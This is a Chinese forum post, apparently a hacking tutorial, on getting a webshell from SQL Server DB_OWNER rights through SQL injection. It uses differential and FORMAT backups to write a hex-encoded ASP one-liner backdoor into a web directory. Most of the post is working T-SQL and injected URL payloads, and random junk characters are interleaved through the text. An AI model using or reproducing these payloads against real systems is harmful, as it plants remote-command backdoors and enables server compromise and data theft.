DB_OWNER权限得到webshell的两点改进:- A8 H$ U$ J3 b! H# l. B/ a3 k; k
% f& D- Z v: r减少备份文件大小,得到可执行的webshell成功率提高不少
" D. d1 Q. L! L' ^ s一利用差异备份8 f5 r" y. M6 Z3 ^: Q
加一个参数WITH DIFFERENTIAL
3 ^# T# i+ A7 V1 ^5 L( G6 e2 @' }* l8 _, y+ ~
1 g4 \1 ]6 [2 f* u7 i+ x
2
8 H6 u. f+ W5 I6 z* s1 }1 f7 z3
3 {2 b& Z# J. ~$ F, v/ F" r+ s4
8 _/ P4 M2 y R$ n5 M' D declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ e) L7 q: [# C; b4 e) `" K$ ycreate table [dbo].[xiaolu] ([cmd] [image]);
" C, J {. D, ]2 J& i0 `insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
/ s+ E: k* X7 l- ideclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL : l" e5 n5 F# R2 O4 N
; e" j1 y4 b; h; Y二利用完全FORMAT/ ? h% k" T6 E( G
加一个参数WITH FROMAT
9 }1 P+ @) u a# q/ @1 H, @有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
6 q9 a) \" ^" M: i$ b: x% T
2 J: W( p7 Z5 z1$ V* B$ H% F4 @5 T% _" N: ^
2
3 s" @2 V F; P s0 q7 u3
' L' k% L0 N* l! G4
+ q" g; l# M# t: S' ^ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
! [7 I( P- c9 qcreate table [dbo].[xiaolu] ([cmd] [image]);
- i% |/ P( v ainsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
$ i( ~ G7 I5 [declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
& i* g- S/ A3 D: I ~8 s* n! b7 \9 k0 i, ?# J! b* O0 m
总的来说就是那么简单几句,下面以备份数据库model为例子
0 f% R4 c2 f3 j, `. b: F7 \1
. e$ @$ M- @7 i* I z- t3 p" j: d- G! ]1 { ]
1
$ t/ h0 t& U! a4 g. C/ U5 n id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
( f& Y/ u) Y, R. ?
G4 D& s6 T6 t9 j, L2
% ]$ ?0 b% _: V$ B' T9 u6 R" I4 ^ F M( m8 q: B
1
0 q4 W* N% c) R+ ^1 f- X0 U id=1;backup database model to disk='你的路径‘ with differential,format;-- M5 w* t# t. |/ V; X2 b
|